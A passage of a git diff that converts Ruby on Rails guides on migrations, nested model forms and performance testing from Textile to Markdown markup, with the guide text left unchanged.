'Photo'. +references+ also allows you to define an -index directly, instead of using +add_index+ after the +create_table+ call: +will add an `attachment_id` column and a string `attachment_type` column with +a default value of 'Photo'. `references` also allows you to define an +index directly, instead of using `add_index` after the `create_table` call: -<ruby> +```ruby create_table :products do |t| t.references :category, :index => true end -</ruby> +``` will create an index identical to calling `add_index :products, :category_id`. -NOTE: The +references+ helper does not actually create foreign key constraints -for you. You will need to use +execute+ or a plugin that adds "foreign key +NOTE: The `references` helper does not actually create foreign key constraints +for you. You will need to use `execute` or a plugin that adds "foreign key support":#active-record-and-referential-integrity. -If the helpers provided by Active Record aren't enough you can use the +execute+ +If the helpers provided by Active Record aren't enough you can use the `execute` method to execute arbitrary SQL. For more details and examples of individual methods, check the API documentation. In particular the documentation for -"<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html -(which provides the methods available in the +up+ and +down+ methods), -"<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html -(which provides the methods available on the object yielded by +create_table+) +[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html) +(which provides the methods available in the `up` and `down` methods), +[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html) +(which provides the methods available on the object yielded by `create_table`) and -"<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html -(which provides the methods available on the object yielded by +change_table+). +[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html) +(which provides the methods available on the object yielded by `change_table`). -h4. When to Use the +change+ Method +### Using the `change` Method -The +change+ method removes the need to write both +up+ and +down+ methods in +The `change` method removes the need to write both `up` and `down` methods in those cases that Rails knows how to revert the changes automatically. Currently, -the +change+ method supports only these migration definitions: +the `change` method supports only these migration definitions: -* +add_column+ -* +add_index+ -* +add_timestamps+ -* +create_table+ -* +remove_timestamps+ -* +rename_column+ -* +rename_index+ -* +rename_table+ +* `add_column` +* `add_index` +* `add_timestamps` +* `create_table` +* `remove_timestamps` +* `rename_column` +* `rename_index` +* `rename_table` If you're going to need to use any other methods, you'll have to write the -+up+ and +down+ methods instead of using the +change+ method. +`up` and `down` methods instead of using the `change` method. -h4. Using the +up+/+down+ Methods +### Using the `up`/`down` Methods -The +down+ method of your migration should revert the transformations done by -the +up+ method. In other words, the database schema should be unchanged if you -do an +up+ followed by a +down+. For example, if you create a table in the +up+ -method, you should drop it in the +down+ method. It is wise to reverse the -transformations in precisely the reverse order they were made in the +up+ +The `down` method of your migration should revert the transformations done by +the `up` method. In other words, the database schema should be unchanged if you +do an `up` followed by a `down`. For example, if you create a table in the `up` +method, you should drop it in the `down` method. It is wise to reverse the +transformations in precisely the reverse order they were made in the `up` method. For example, -<ruby> +```ruby class ExampleMigration < ActiveRecord::Migration def up create_table :products do |t| @@ -604,26 +608,27 @@ class ExampleMigration < ActiveRecord::Migration drop_table :products end end -</ruby> +``` Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise -+ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries +`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done. -h3. Running Migrations +Running Migrations +------------------ Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations. The very first migration related rake task you will use will probably be -+rake db:migrate+. In its most basic form it just runs the +up+ or +change+ +`rake db:migrate`. In its most basic form it just runs the `up` or `change` method for all the migrations that have not yet been run. If there are no such migrations, it exits. It will run these migrations in order based on the date of the migration. -Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which +Note that running the `db:migrate` also invokes the `db:schema:dump` task, which will update your db/schema.rb file to match the structure of your database. If you specify a target version, Active Record will run the required migrations @@ -631,97 +636,93 @@ If you specify a target version, Active Record will run the required migrations is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run -<shell> +```bash $ rake db:migrate VERSION=20080906120000 -</shell> +``` If version 20080906120000 is greater than the current version (i.e., it is -migrating upwards), this will run the +up+ method on all migrations up to and +migrating upwards), this will run the `up` method on all migrations up to and including 20080906120000, and will not execute any later migrations. If -migrating downwards, this will run the +down+ method on all the migrations +migrating downwards, this will run the `down` method on all the migrations down to, but not including, 20080906120000. -h4. Rolling Back +### Rolling Back A common task is to rollback the last migration. For example, if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run -<shell> +```bash $ rake db:rollback -</shell> +``` -This will run the +down+ method from the latest migration. If you need to undo -several migrations you can provide a +STEP+ parameter: +This will run the `down` method from the latest migration. If you need to undo +several migrations you can provide a `STEP` parameter: -<shell> +```bash $ rake db:rollback STEP=3 -</shell> +``` -will run the +down+ method from the last 3 migrations. +will run the `down` method from the last 3 migrations. -The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating -back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter +The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating +back up again. As with the `db:rollback` task, you can use the `STEP` parameter if you need to go more than one version back, for example -<shell> +```bash $ rake db:migrate:redo STEP=3 -</shell> +``` -Neither of these Rake tasks do anything you could not do with +db:migrate+. They +Neither of these Rake tasks do anything you could not do with `db:migrate`. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. -h4. Resetting the Database +### Resetting the Database -The +rake db:reset+ task will drop the database, recreate it and load the +The `rake db:reset` task will drop the database, recreate it and load the current schema into it. NOTE: This is not the same as running all the migrations - see the section on -"schema.rb":#schema-dumping-and-you. +[schema.rb](#schema-dumping-and-you). -h4. Running Specific Migrations +### Running Specific Migrations -If you need to run a specific migration up or down, the +db:migrate:up+ and -+db:migrate:down+ tasks will do that. Just specify the appropriate version and -the corresponding migration will have its +up+ or +down+ method invoked, for +If you need to run a specific migration up or down, the `db:migrate:up` and +`db:migrate:down` tasks will do that. Just specify the appropriate version and +the corresponding migration will have its `up` or `down` method invoked, for example, -<shell> +```bash $ rake db:migrate:up VERSION=20080906120000 -</shell> +``` -will run the +up+ method from the 20080906120000 migration. This task will first +will run the `up` method from the 20080906120000 migration. This task will first check whether the migration is already performed and will do nothing if Active Record believes that it has already been run. -h4. Changing the Output of Running Migrations +### Changing the Output of Running Migrations By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this -<shell> +```bash == CreateProducts: migrating ================================================= -- create_table(:products) -> 0.0028s == CreateProducts: migrated (0.0028s) ======================================== -</shell> +``` Several methods are provided in migrations that allow you to control all this: -|_.Method |_.Purpose| -|suppress_messages |Takes a block as an argument and suppresses any output - generated by the block.| -|say |Takes a message argument and outputs it as is. A second - boolean argument can be passed to specify whether to - indent or not.| -|say_with_time |Outputs text along with how long it took to run its - block. If the block returns an integer it assumes it - is the number of rows affected.| +| Method | Purpose +| -------------------- | ------- +| suppress_messages | Takes a block as an argument and suppresses any output generated by the block. +| say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. +| say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. For example, this migration -<ruby> +```ruby class CreateProducts < ActiveRecord::Migration def change suppress_messages do @@ -740,11 +741,11 @@ class CreateProducts < ActiveRecord::Migration end end end -</ruby> +``` generates the following output -<shell> +```bash == CreateProducts: migrating ================================================= -- Created a table -> and an index! @@ -752,12 +753,13 @@ generates the following output -> 10.0013s -> 250 rows == CreateProducts: migrated (10.0054s) ======================================= -</shell> +``` -If you want Active Record to not output anything, then running +rake db:migrate -VERBOSE=false+ will suppress all output. +If you want Active Record to not output anything, then running `rake db:migrate +VERBOSE=false` will suppress all output. -h3. Using Models in Your Migrations +Using Models in Your Migrations +------------------------------- When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying @@ -768,15 +770,15 @@ not currently in the database and (2) will be created by this or a subsequent migration. Consider this example, where Alice and Bob are working on the same code base -which contains a +Product+ model: +which contains a `Product` model: Bob goes on vacation. -Alice creates a migration for the +products+ table which adds a new column and -initializes it. She also adds a validation to the +Product+ model for the new +Alice creates a migration for the `products` table which adds a new column and +initializes it. She also adds a validation to the `Product` model for the new column. -<ruby> +```ruby # db/migrate/20100513121110_add_flag_to_product.rb class AddFlagToProduct < ActiveRecord::Migration @@ -785,21 +787,21 @@ class AddFlagToProduct < ActiveRecord::Migration Product.update_all :flag => false end end -</ruby> +``` -<ruby> +```ruby # app/model/product.rb class Product < ActiveRecord::Base validates :flag, :presence => true end -</ruby> +``` Alice adds a second migration which adds and initializes another column to the -+products+ table and also adds a validation to the +Product+ model for the new +`products` table and also adds a validation to the `Product` model for the new column. -<ruby> +```ruby # db/migrate/20100515121110_add_fuzz_to_product.rb class AddFuzzToProduct < ActiveRecord::Migration @@ -808,46 +810,46 @@ class AddFuzzToProduct < ActiveRecord::Migration Product.update_all :fuzz => 'fuzzy' end end -</ruby> +``` -<ruby> +```ruby # app/model/product.rb class Product < ActiveRecord::Base validates :flag, :fuzz, :presence => true end -</ruby> +``` Both migrations work for Alice. Bob comes back from vacation and: -# Updates the source - which contains both migrations and the latest version of -the Product model. -# Runs outstanding migrations with +rake db:migrate+, which -includes the one that updates the +Product+ model. +* Updates the source - which contains both migrations and the latest version of + the Product model. +* Runs outstanding migrations with `rake db:migrate`, which + includes the one that updates the `Product` model. The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs: -<plain> +``` rake aborted! An error has occurred, this and all later migrations canceled: undefined method `fuzz' for #<Product:0x000001049b14a0> -</plain> +``` A fix for this is to create a local model within the migration. This keeps Rails from running the validations, so that the migrations run to completion. When using a faux model, it's a good idea to call -+Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the -+Product+ model prior to updating data in the database. +`Product.reset_column_information` to refresh the `ActiveRecord` cache for the +`Product` model prior to updating data in the database. If Alice had done this instead, there would have been no problem: -<ruby> +```ruby # db/migrate/20100513121110_add_flag_to_product.rb class AddFlagToProduct < ActiveRecord::Migration @@ -860,9 +862,9 @@ class AddFlagToProduct < ActiveRecord::Migration Product.update_all :flag => false end end -</ruby> +``` -<ruby> +```ruby # db/migrate/20100515121110_add_fuzz_to_product.rb class AddFuzzToProduct < ActiveRecord::Migration @@ -875,14 +877,15 @@ class AddFuzzToProduct < ActiveRecord::Migration Product.update_all :fuzz => 'fuzzy' end end -</ruby> +``` -h3. Schema Dumping and You +Schema Dumping and You +---------------------- -h4. What are Schema Files for? +### What are Schema Files for? Migrations, mighty as they may be, are not the authoritative source for your -database schema. That role falls to either +db/schema.rb+ or an SQL file which +database schema. That role falls to either `db/schema.rb` or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database. @@ -891,27 +894,27 @@ replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema. For example, this is how the test database is created: the current development -database is dumped (either to +db/schema.rb+ or +db/structure.sql+) and then +database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then loaded into the test database. Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but the information is nicely summed up in the schema file. The -"annotate_models":https://github.com/ctran/annotate_models gem automatically +[annotate_models](https://github.com/ctran/annotate_models) gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality. -h4. Types of Schema Dumps +### Types of Schema Dumps -There are two ways to dump the schema. This is set in +config/application.rb+ by -the +config.active_record.schema_format+ setting, which may be either +:sql+ or -+:ruby+. +There are two ways to dump the schema. This is set in `config/application.rb` by +the `config.active_record.schema_format` setting, which may be either `:sql` or +`:ruby`. -If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look +If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look at this file you'll find that it looks an awful lot like one very big migration: -<ruby> +```ruby ActiveRecord::Schema.define(version: 20080906171750) do create_table "authors", force: true do |t| t.string "name" @@ -927,51 +930,52 @@ ActiveRecord::Schema.define(version: 20080906171750) do t.string "part_number" end end -</ruby> +``` In many ways this is exactly what it is. This file is created by inspecting the -database and expressing its structure using +create_table+, +add_index+, and so +database and expressing its structure using `create_table`, `add_index`, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. -There is however a trade-off: +db/schema.rb+ cannot express database specific +There is however a trade-off: `db/schema.rb` cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like -this, then you should set the schema format to +:sql+. +this, then you should set the schema format to `:sql`. Instead of using Active Record's schema dumper, the database's structure will be -dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) -into +db/structure.sql+. For example, for the PostgreSQL RDBMS, the -+pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW -CREATE TABLE+ for the various tables. Loading these schemas is simply a question +dumped using a tool specific to the database (via the `db:structure:dump` Rake task) +into `db/structure.sql`. For example, for the PostgreSQL RDBMS, the +`pg_dump` utility is used. For MySQL, this file will contain the output of `SHOW +CREATE TABLE` for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a -perfect copy of the database's structure. Using the +:sql+ schema format will, +perfect copy of the database's structure. Using the `:sql` schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it. -h4. Schema Dumps and Source Control +### Schema Dumps and Source Control Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control. -h3. Active Record and Referential Integrity +Active Record and Referential Integrity +--------------------------------------- The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used. -Validations such as +validates :foreign_key, :uniqueness => true+ are one way in -which models can enforce data integrity. The +:dependent+ option on associations +Validations such as `validates :foreign_key, :uniqueness => true` are one way in +which models can enforce data integrity. The `:dependent` option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints in the database. Although Active Record does not provide any tools for working directly with such -features, the +execute+ method can be used to execute arbitrary SQL. You could -also use some plugin like "foreigner":https://github.com/matthuhiggins/foreigner +features, the `execute` method can be used to execute arbitrary SQL. You could +also use some plugin like [foreigner](https://github.com/matthuhiggins/foreigner) which add foreign key support to Active Record (including support for dumping -foreign keys in +db/schema.rb+). +foreign keys in `db/schema.rb`). diff --git a/guides/source/nested_model_forms.textile b/guides/source/nested_model_forms.md index 82c9ab9d36..b5f112e6c9 100644 --- a/guides/source/nested_model_forms.textile +++ b/guides/source/nested_model_forms.md @@ -1,4 +1,5 @@ -h2. Rails nested model forms +Rails nested model forms +======================== Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations. @@ -6,59 +7,60 @@ In this guide you will: * do stuff -endprologue. +-------------------------------------------------------------------------------- -NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/. +NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/). -h3. Model setup +Model setup +----------- To be able to use the nested model functionality in your forms, the model will need to support some basic operations. -First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build. +First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build. If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded. -Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+. +Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`. -h4. ActiveRecord::Base model +### ActiveRecord::Base model -For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method: +For an ActiveRecord::Base model and association this writer method is commonly defined with the `accepts_nested_attributes_for` class method: -h5. has_one +#### has_one -<ruby> +```ruby class Person < ActiveRecord::Base has_one :address accepts_nested_attributes_for :address end -</ruby> +``` -h5. belongs_to +#### belongs_to -<ruby> +```ruby class Person < ActiveRecord::Base belongs_to :firm accepts_nested_attributes_for :firm end -</ruby> +``` -h5. has_many / has_and_belongs_to_many +#### has_many / has_and_belongs_to_many -<ruby> +```ruby class Person < ActiveRecord::Base has_many :projects accepts_nested_attributes_for :projects end -</ruby> +``` -h4. Custom model +### Custom model As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour: -h5. Single associated object +#### Single associated object -<ruby> +```ruby class Person def address Address.new @@ -68,11 +70,11 @@ class Person # ... end end -</ruby> +``` -h5. Association collection +#### Association collection -<ruby> +```ruby class Person def projects [Project.new, Project.new] @@ -82,19 +84,20 @@ class Person # ... end end -</ruby> +``` NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model. -h3. Views +Views +----- -h4. Controller code +### Controller code A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first. -Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template: +Consider the following typical RESTful controller which will prepare a new Person instance and its `address` and `projects` associations before rendering the `new` template: -<ruby> +```ruby class PeopleController < ActionController:Base def new @person = Person.new @@ -109,37 +112,37 @@ class PeopleController < ActionController:Base end end end -</ruby> +``` -NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this. +NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an `after_initialize` callback which is a good way to refactor this. -h4. Form code +### Form code Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form. -h5. Standard form +#### Standard form Start out with a regular RESTful form: -<erb> +```erb <%= form_for @person do |f| %> <%= f.text_field :name %> <% end %> -</erb> +``` This will generate the following html: -<html> +```html <form action="/people" class="new_person" id="new_person" method="post"> <input id="person_name" name="person[name]" type="text" /> </form> -</html> +``` -h5. Nested form for a single associated object +#### Nested form for a single associated object -Now add a nested form for the +address+ association: +Now add a nested form for the `address` association: -<erb> +```erb <%= form_for @person do |f| %> <%= f.text_field :name %> @@ -147,23 +150,23 @@ Now add a nested form for the +address+ association: <%= af.text_field :street %> <% end %> <% end %> -</erb> +``` This generates: -<html> +```html <form action="/people" class="new_person" id="new_person" method="post"> <input id="person_name" name="person[name]" type="text" /> <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" /> </form> -</html> +``` -Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be built by the way it has namespaced the +name+ attribute. +Notice that `fields_for` recognized the `address` as an association for which a nested model form should be built by the way it has namespaced the `name` attribute. When this form is posted the Rails parameter parser will construct a hash like the following: -<ruby> +```ruby { "person" => { "name" => "Eloy Duran", @@ -172,15 +175,15 @@ When this form is posted the Rails parameter parser will construct a hash like t } } } -</ruby> +``` -That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved. +That’s it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved. -h5. Nested form for a collection of associated objects +#### Nested form for a collection of associated objects The form code for an association collection is pretty similar to that of a single associated object: -<erb> +```erb <%= form_for @person do |f| %> <%= f.text_field :name %> @@ -188,22 +191,22 @@ The form code for an association collection is pretty similar to that of a singl <%= pf.text_field :name %> <% end %> <% end %> -</erb> +``` Which generates: -<html> +```html <form action="/people" class="new_person" id="new_person" method="post"> <input id="person_name" name="person[name]" type="text" /> <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" /> <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" /> </form> -</html> +``` -As you can see it has generated 2 +project name+ inputs, one for each new +project+ that was built in the controller's +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as: +As you can see it has generated 2 `project name` inputs, one for each new `project` that was built in the controller's `new` action. Only this time the `name` attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as: -<ruby> +```ruby { "person" => { "name" => "Eloy Duran", @@ -213,10 +216,10 @@ As you can see it has generated 2 +project name+ inputs, one for each new +proje } } } -</ruby> +``` -You can basically see the +projects_attributes+ hash as an array of attribute hashes, one for each model instance. +You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance. -NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep. +NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep. -TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example. +TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example. diff --git a/guides/source/performance_testing.textile b/guides/source/performance_testing.md index 6c5676c346..528b9c35b3 100644 --- a/guides/source/performance_testing.textile +++ b/guides/source/performance_testing.md @@ -1,4 +1,5 @@ -h2. Performance Testing Rails Applications +Performance Testing Rails Applications +====================================== This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to: @@ -16,19 +17,20 @@ is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application. -endprologue. +-------------------------------------------------------------------------------- -h3. Performance Test Cases +Performance Test Cases +---------------------- Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems. -In a freshly generated Rails application, +test/performance/browsing_test.rb+ +In a freshly generated Rails application, `test/performance/browsing_test.rb` contains an example of a performance test: -<ruby> +```ruby require 'test_helper' require 'rails/performance_test_help' @@ -41,23 +43,23 @@ class BrowsingTest < ActionDispatch::PerformanceTest get '/' end end -</ruby> +``` This example is a simple performance test case for profiling a GET request to the application's homepage. -h4. Generating Performance Tests +### Generating Performance Tests -Rails provides a generator called +performance_test+ for creating new +Rails provides a generator called `performance_test` for creating new performance tests: -<shell> +```bash $ rails generate performance_test homepage -</shell> +``` -This generates +homepage_test.rb+ in the +test/performance+ directory: +This generates `homepage_test.rb` in the `test/performance` directory: -<ruby> +```ruby require 'test_helper' require 'rails/performance_test_help' @@ -70,13 +72,13 @@ class HomepageTest < ActionDispatch::PerformanceTest get '/' end end -</ruby> +``` -h4. Examples +### Examples Let's assume your application has the following controller and model: -<ruby> +```ruby # routes.rb root to: 'home#dashboard' resources :posts @@ -111,17 +113,17 @@ class Post < ActiveRecord::Base # CPU heavy calculations end end -</ruby> +``` -h5. Controller Example +#### Controller Example Because performance tests are a special kind of integration test, you can use -the +get+ and +post+ methods in them. +the `get` and `post` methods in them. -Here's the performance test for +HomeController#dashboard+ and -+PostsController#create+: +Here's the performance test for `HomeController#dashboard` and +`PostsController#create`: -<ruby> +```ruby require 'test_helper' require 'rails/performance_test_help' @@ -139,20 +141,20 @@ class PostPerformanceTest < ActionDispatch::PerformanceTest post '/posts', post: { body: 'lifo is fooling you' } end end -</ruby> +``` -You can find more details about the +get+ and +post+ methods in the -"Testing Rails Applications":testing.html guide. +You can find more details about the `get` and `post` methods in the +[Testing Rails Applications](testing.html) guide. -h5. Model Example +#### Model Example Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code. -Performance test for +Post+ model: +Performance test for `Post` model: -<ruby> +```ruby require 'test_helper' require 'rails/performance_test_help' @@ -166,129 +168,131 @@ class PostModelTest < ActionDispatch::PerformanceTest posts(:awesome).slow_method end end -</ruby> +``` -h4. Modes +### Modes Performance tests can be run in two modes: Benchmarking and Profiling. -h5. Benchmarking +#### Benchmarking Benchmarking makes it easy to quickly gather a few metrics about each test run. -By default, each test case is run *4 times* in benchmarking mode. +By default, each test case is run **4 times** in benchmarking mode. To run performance tests in benchmarking mode: -<shell> +```bash $ rake test:benchmark -</shell> +``` -h5. Profiling +#### Profiling Profiling allows you to make an in-depth analysis of each of your tests by using an external profiler. Depending on your Ruby interpreter, this profiler can be native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each -test case is run *once* in profiling mode. +test case is run **once** in profiling mode. To run performance tests in profiling mode: -<shell> +```bash $ rake test:profile -</shell> +``` -h4. Metrics +### Metrics Benchmarking and profiling run performance tests and give you multiple metrics. The availability of each metric is determined by the interpreter being used—none of them support all metrics—and by the mode in use. A brief description of each metric and their availability across interpreters/modes is given below. -h5. Wall Time +#### Wall Time Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system. -h5. Process Time +#### Process Time Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load. -h5. CPU Time +#### CPU Time Similar to process time, but leverages the more accurate CPU clock counter available on the Pentium and PowerPC platforms. -h5. User Time +#### User Time User time measures the amount of time the CPU spent in user-mode, i.e. within the process. This is not affected by other processes and by the time it possibly spends blocked. -h5. Memory +#### Memory Memory measures the amount of memory used for the performance test case. -h5. Objects +#### Objects Objects measures the number of objects allocated for the performance test case. -h5. GC Runs +#### GC Runs GC Runs measures the number of times GC was invoked for the performance test case. -h5. GC Time +#### GC Time GC Time measures the amount of time spent in GC for the performance test case. -h5. Metric Availability +#### Metric Availability -h6(#benchmarking_1). Benchmarking +##### Benchmarking -|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| -|_.MRI | yes | yes | yes | no | yes | yes | yes | yes | -|_.REE | yes | yes | yes | no | yes | yes | yes | yes | -|_.Rubinius | yes | no | no | no | yes | yes | yes | yes | -|_.JRuby | yes | no | no | yes | yes | yes | yes | yes | +| Interpreter | Wall Time | Process Time | CPU Time | User Time | Memory | Objects | GC Runs | GC Time | +| ------------ | --------- | ------------ | -------- | --------- | ------ | ------- | ------- | ------- | +| **MRI** | yes | yes | yes | no | yes | yes | yes | yes | +| **REE** | yes | yes | yes | no | yes | yes | yes | yes | +| **Rubinius** | yes | no | no | no | yes | yes | yes | yes | +| **JRuby** | yes | no | no | yes | yes | yes | yes | yes | -h6(#profiling_1). Profiling +##### Profiling -|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| -|_.MRI | yes | yes | no | no | yes | yes | yes | yes | -|_.REE | yes | yes | no | no | yes | yes | yes | yes | -|_.Rubinius | yes | no | no | no | no | no | no | no | -|_.JRuby | yes | no | no | no | no | no | no | no | +| Interpreter | Wall Time | Process Time | CPU Time | User Time | Memory | Objects | GC Runs | GC Time | +| ------------ | --------- | ------------ | -------- | --------- | ------ | ------- | ------- | ------- | +| **MRI** | yes | yes | no | no | yes | yes | yes | yes | +| **REE** | yes | yes | no | no | yes | yes | yes | yes | +| **Rubinius** | yes | no | no | no | no | no | no | no | +| **JRuby** | yes | no | no | no | no | no | no | no | -NOTE: To profile under JRuby you'll need to run +export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"+ -*before* the performance tests. +NOTE: To profile under JRuby you'll need to run `export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"` +**before** the performance tests. -h4. Understanding the Output +### Understanding the Output -Performance tests generate different outputs inside +tmp/performance+ directory +Performance tests generate different outputs inside `tmp/performance` directory depending on their mode and metric. -h5(#output-benchmarking). Benchmarking +#### Benchmarking In benchmarking mode, performance tests generate two types of outputs. -h6(#output-command-line). Command Line +##### Command Line This is the primary form of output in benchmarking mode. Example: -<shell> +```bash BrowsingTest#test_homepage (31 ms warmup) wall_time: 6 ms memory: 437.27 KB objects: 5,514 gc_runs: 0 gc_time: 19 ms -</shell> +``` -h6. CSV Files +##### CSV Files -Performance test results are also appended to +.csv+ files inside +tmp/performance+. -For example, running the default +BrowsingTest#test_homepage+ will generate +Performance test results are also appended to `.csv` files inside `tmp/performance`. +For example, running the default `BrowsingTest#test_homepage` will generate following five files: * BrowsingTest#test_homepage_gc_runs.csv @@ -301,9 +305,9 @@ As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes. -Sample output of +BrowsingTest#test_homepage_wall_time.csv+: +Sample output of `BrowsingTest#test_homepage_wall_time.csv`: -<shell> +```bash measurement,created_at,app,rails,ruby,platform 0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux 0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux @@ -315,55 +319,56 @@ measurement,created_at,app,rails,ruby,platform 0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux 0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux 0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -</shell> +``` -h5(#output-profiling). Profiling +#### Profiling In profiling mode, performance tests can generate multiple types of outputs. The command line output is always presented but support for the others is dependent on the interpreter in use. A brief description of each type and their availability across interpreters is given below. -h6. Command Line 